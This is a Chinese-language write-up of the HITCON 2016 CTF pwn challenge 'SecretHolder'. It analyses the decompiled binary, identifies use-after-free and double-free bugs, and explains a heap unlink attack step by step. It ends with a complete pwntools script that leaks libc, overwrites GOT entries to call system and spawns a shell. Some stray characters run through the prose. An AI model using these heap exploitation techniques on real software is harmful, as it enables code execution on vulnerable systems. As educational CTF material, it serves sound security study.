很早就想寫關于HITCON2016
的PWN
題的一些理解分析,但因為懶人心理一拖再拖帽驯,今天終于可以靜下心來寫一寫writeup
赴邻,不得不說,hitcon
的題目質量還是很高紊选,這對于剛入門pwn
的我而言啼止,真是再好不過的教程。
這是hitcon2016的第一個pwn
題
Hey! Do you have any secret?
I can help you to hold your secrets, and no one will be able to see it :)
1. Keep secret
2. Wipe secret
3. Renew secret
程序邏輯并不復雜兵罢,只不過Keep
和Wipe
必須按先后順序執(zhí)行
__int64 sub_40086D()
{
v3 = *MK_FP(__FS__, 40LL);
puts("Which level of secret do you want to keep?");
puts("1. Small secret");
puts("2. Big secret");
puts("3. Huge secret");
memset(&s, 0, 4uLL);
read(0, &s, 4uLL);
v0 = atoi(&s);
if ( v0 == 2 )
{
if ( !bigSecret )
{
bigSecret_ptr = calloc(1uLL, 0xFA0uLL);
bigSecret = 1;
puts("Tell me your secret: ");
read(0, bigSecret_ptr, 0xFA0uLL);
}
}
else if ( v0 == 3 )
{
if ( !hugeSecret )
{
hugeSecret_ptr = calloc(1uLL, 0x61A80uLL);
hugeSecret = 1;
puts("Tell me your secret: ");
read(0, hugeSecret_ptr, 0x61A80uLL);
}
}
else if ( v0 == 1 && !smallSecret )
{
smallSecret_ptr = calloc(1uLL, 0x28uLL);
smallSecret = 1;
puts("Tell me your secret: ");
read(0, smallSecret_ptr, 0x28uLL);
}
return *MK_FP(__FS__, 40LL) ^ v3;
}
這里依據(jù)選擇指定大小的秘密會申請固定大小內存空間献烦,并且對于每種類型都只能創(chuàng)建一次。
__int64 sub_400A27()
{
v3 = *MK_FP(__FS__, 40LL);
puts("Which Secret do you want to wipe?");
puts("1. Small secret");
puts("2. Big secret");
puts("3. Huge secret");
memset(&s, 0, 4uLL);
read(0, &s, 4uLL);
v0 = atoi(&s);
switch ( v0 )
{
case 2:
free(bigSecret_ptr);
bigSecret = 0;
break;
case 3:
free(hugeSecret_ptr);
hugeSecret = 0;
break;
case 1:
free(smallSecret_ptr);
smallSecret = 0;
break;
}
return *MK_FP(__FS__, 40LL) ^ v3;
}
上面的代碼進行的是wipe操作卖词,但是巩那,程序在free之前沒有檢查指針,并且沒有在free
操作之后并沒有將指針置空此蜈,因此這里導致了兩個漏洞:UAF
和double free
即横。那么這里可以這樣利用,首先創(chuàng)建一個小堆塊(記為A
)舶替,然后釋放掉令境,此時再申請一個大堆塊(記為B
),可以得到和剛釋放的指針相同的指針顾瞪,即A=B
舔庶。再觸發(fā)一次free(A)
,等價于free(B)
陈醒,但我們依然可以對B
進行編輯惕橙。
keep('small', '')
wipe('small')
keep('huge', '')
wipe('small') #free again
但依靠上述過程得到的A
和B
并不在同一個內存段中(具體原因現(xiàn)在還不清楚,有興趣的同學可以分析一下sysmalloc
函數(shù))
0x00400000 0x00402000 r-xp /root/桌面/SecretHolder
0x00601000 0x00602000 r--p /root/桌面/SecretHolder
0x00602000 0x00603000 rw-p /root/桌面/SecretHolder
0x014ca000 0x014eb000 rw-p [heap]
我們期望分配到的位置
0x00007fed74fe5000 0x00007fed7517a000 r-xp /lib/x86_64-linux-gnu/libc-2.24.so
實際分配到位置
0x00007fed7517a000 0x00007fed75379000 ---p /lib/x86_64-linux-gnu/libc-2.24.so
0x00007fed75379000 0x00007fed7537d000 r--p /lib/x86_64-linux-gnu/libc-2.24.so
0x00007fed7537d000 0x00007fed7537f000 rw-p /lib/x86_64-linux-gnu/libc-2.24.so
0x00007fed7537f000 0x00007fed75383000 rw-p mapped
0x00007fed75383000 0x00007fed753a6000 r-xp /lib/x86_64-linux-gnu/ld-2.24.so
0x00007fed7551f000 0x00007fed75583000 rw-p mapped
0x00007fed755a2000 0x00007fed755a5000 rw-p mapped
0x00007fed755a5000 0x00007fed755a6000 r--p /lib/x86_64-linux-gnu/ld-2.24.so
0x00007fed755a6000 0x00007fed755a7000 rw-p /lib/x86_64-linux-gnu/ld-2.24.so
0x00007fed755a7000 0x00007fed755a8000 rw-p mapped
0x00007ffd2096c000 0x00007ffd2098d000 rw-p [stack]
0x00007ffd209f7000 0x00007ffd209f9000 r--p [vvar]
0x00007ffd209f9000 0x00007ffd209fb000 r-xp [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
想要使得A
和B
在同一個內存段中钉跷,只需要先申請一個大堆塊弥鹦,并釋放掉,然后再進行上述步驟即可
keep('huge', '')
wipe('huge')
keep('small', '')
wipe('small')
keep('huge', '')
wipe('small') #free again
到這里,我們已經可以通過編輯B來控制后續(xù)申請的全部堆塊結構內容彬坏,接下來就可以利用unlink attack
來修改全局指針朦促。但是,利用unlink
需要滿足一個前提條件:需要執(zhí)行unlink
的兩個堆塊不是fastbin
栓始。所以务冕,需要構造兩個大小大于0x80
的塊
keep('small', '')
keep('big', '')
這部分代碼執(zhí)行結束時的內存分布如下所示
0x20dc000: 0x0 0x31
0x20dc010: 0xa 0x0 small secret
0x20dc020: 0x0 0x0
0x20dc030: 0x0 0xfb1
0x20dc040: 0xa 0x0 big secret
0x20dc050: 0x0 0x0
0x20dc060: 0x0 0x0
然后通過renew操作構造一個fake fastbin
exploit_st1 = '\x00'*0x28
exploit_st1 += p64(0x30 | PREV_INUSE)
exploit_st1 += '\x00'*0x28
exploit_st1 += p64((0xfb0 - 0x30) | PREV_INUSE)
renew('huge', exploit_st1) # create two fastbins with same size
覆蓋后內存分布如下
0x20dc000: 0x0 0x31 fastbin1
0x20dc010: 0x0 0x0
0x20dc020: 0x0 0x0
0x20dc030: 0x0 0x31 fake fastbin2
0x20dc040: 0x0 0x0
0x20dc050: 0x0 0x0 fake big_secret block end
0x20dc060: 0x0 0xf81
0x20dc070: 0xa 0x0
0x20dc080: 0x0 0x0
...
0x20dcfe0: 0x0 0x0 true big_secret block end
0x20dcfe0: 0x0 0x81021
這里我們先釋放掉fastbin1
和fake fastbin2
,釋放后的內存如下圖所示
0x20dc000: 0x0 0x31
0x20dc010: 0x0 0x0
0x20dc020: 0x0 0x0
0x20dc030: 0x0 0x31
0x20dc040: 0x20dc000 0x0
0x20dc050: 0x0 0x0
0x20dc060: 0x0 0xf81
...
0x20dcfd0: 0x0 0x0
0x20dcfe0: 0x0 0x81021
那么幻赚,當申請small_ptr
將會得到0x20dc040
禀忆,但申請big_ptr
時將會得到0x20dcff0
,此時再通過renew('huge',payload)
操作構造用于unlink
操作的堆塊
addr_ptr_small = 0x6020b0
exploit_st2 = '\x00'*0x30
# small (shift small chunk behind 16 bytes)
exploit_st2 += p64(0x0) # prev_size
exploit_st2 += p64(0xfa0 | PREV_INUSE) # size
exploit_st2 += p64(addr_ptr_small-0x18) # fd
exploit_st2 += p64(addr_ptr_small-0x10) # bk
exploit_st2 += '\x00'*0xf80
# big
exploit_st2 += p64(0xfa0) # prev_size
exploit_st2 += p64(0xfb0 & ~PREV_INUSE) # size
keep('small', '')
keep('big', '')
renew('huge', exploit_st2)
wipe('big') # unlink attack (addr_ptr_small <- addr_ptr_small-0x18)
此時落恼,small_ptr
已經指向了0x602098
箩退,renew('small', payload)
可以修改bigSecret_ptr
,再一次調用renew('big', payload)
進行任意內存寫
.bss:0000000000602098
.bss:00000000006020A0 ; void *bigSecret_ptr
.bss:00000000006020A0 bigSecret_ptr
.bss:00000000006020A0
.bss:00000000006020A8 ; void *hugeSecret_ptr
.bss:00000000006020A8 hugeSecret_ptr
.bss:00000000006020A8
.bss:00000000006020B0 ; void *smallSecret_ptr
.bss:00000000006020B0 smallSecret_ptr
后續(xù)就比較簡單了佳谦,腳本如下
from pwn import *
def keep(type, secret):
p.recvuntil("Renew secret")
p.sendline('1')
p.recvuntil("Huge secret")
if type=="small":
p.sendline('1')
elif type=="big":
p.sendline('2')
elif type=="huge":
p.sendline('3')
p.recvuntil("your secret:")
p.sendline(secret)
def wipe(type):
p.recvuntil("Renew secret")
p.sendline('2')
p.recvuntil("Huge secret")
if type=="small":
p.sendline('1')
elif type=="big":
p.sendline('2')
elif type=="huge":
p.sendline('3')
def renew(type, secret):
p.recvuntil("Renew secret")
p.sendline('3')
p.recvuntil("Huge secret")
if type=="small":
p.sendline('1')
elif type=="big":
p.sendline('2')
elif type=="huge":
p.sendline('3')
p.recvuntil("your secret:")
p.sendline(secret)
binf = ELF('SecretHolder')
addr_got_stack_fail = binf.got['__stack_chk_fail']
addr_got_memset = binf.got['memset']
addr_got_main = binf.got['__libc_start_main']
addr_plt_puts = binf.plt['puts']
addr_plt_alarm = binf.plt['alarm']
addr_plt_exit = binf.plt['exit']
debug = 1
# context.log_level = True
if debug:
p = process('./SecretHolder')
PREV_INUSE = 1
gdb.attach(p, open('aa'))
keep('huge', '')
wipe('huge')
keep('small', '')
wipe('small')
keep('huge', '') # buf_huge == buf_small
wipe('small')
exploit_st1 = '\x00'*0x28
exploit_st1 += p64(0x30 | PREV_INUSE)
exploit_st1 += '\x00'*0x28
exploit_st1 += p64(0x81fa0 | PREV_INUSE)
keep('small', '')
keep('big', '')
renew('huge', exploit_st1)
wipe('small')
wipe('big')
addr_ptr_small = 0x6020b0
exploit_st2 = '\x00'*0x30
# small (shift small chunk behind 16 bytes)
exploit_st2 += p64(0x0) # prev_size
exploit_st2 += p64(0xfa0 | PREV_INUSE) # size
exploit_st2 += p64(addr_ptr_small-0x18) # fd
exploit_st2 += p64(addr_ptr_small-0x10) # bk
exploit_st2 += '\x00'*0xf80
# big
exploit_st2 += p64(0xfa0) # prev_size
exploit_st2 += p64(0xfb0 & ~PREV_INUSE) # size
keep('small', '')
keep('big', '')
renew('huge', exploit_st2)
wipe('big') # unlink attack (addr_ptr_small <- addr_ptr_small-0x18)
bss_global = 0x6020a0
payload_st1 = '\x00'*0x8
payload_st1 += p64(binf.got['free']) # buf_big
payload_st1 += p64(binf.got['read']) # buf_huge (not used)
payload_st1 += p64(addr_ptr_small - 0x18) # buf_small
payload_st1 += p32(1)*3
renew('small', payload_st1)
renew('big', p64(binf.plt['puts']) + p64(binf.plt['puts']+6))
wipe('huge')
offset___libc_start_main_ret = 0x20a40
offset_system = 0x00000000000443d0
offset_dup2 = 0x00000000000f7b90
offset_read = 0x00000000000f7470
offset_write = 0x00000000000f74d0
offset_str_bin_sh = 0x18c3dd
p.recvline()
read_addr = u64(p.recv(6) + '\x00\x00')
lib = ELF('/lib/x86_64-linux-gnu/libc-2.21.so')
system_addr = lib.symbols['system'] - lib.symbols['read'] + read_addr
log.info('got system addr ' + hex(system_addr))
bin_sh = offset_str_bin_sh - offset_read + read_addr
payload_st1 = '\x00'*0x8
payload_st1 += p64(binf.got['free']) # buf_big
payload_st1 += p64(bin_sh) # buf_huge (not used)
payload_st1 += p64(addr_ptr_small - 0x18) # buf_small
payload_st1 += p32(1)*3
renew("small", payload_st1)
renew("big", p64(system_addr) + p64(binf.plt['puts']+6))
wipe('huge')
p.interactive()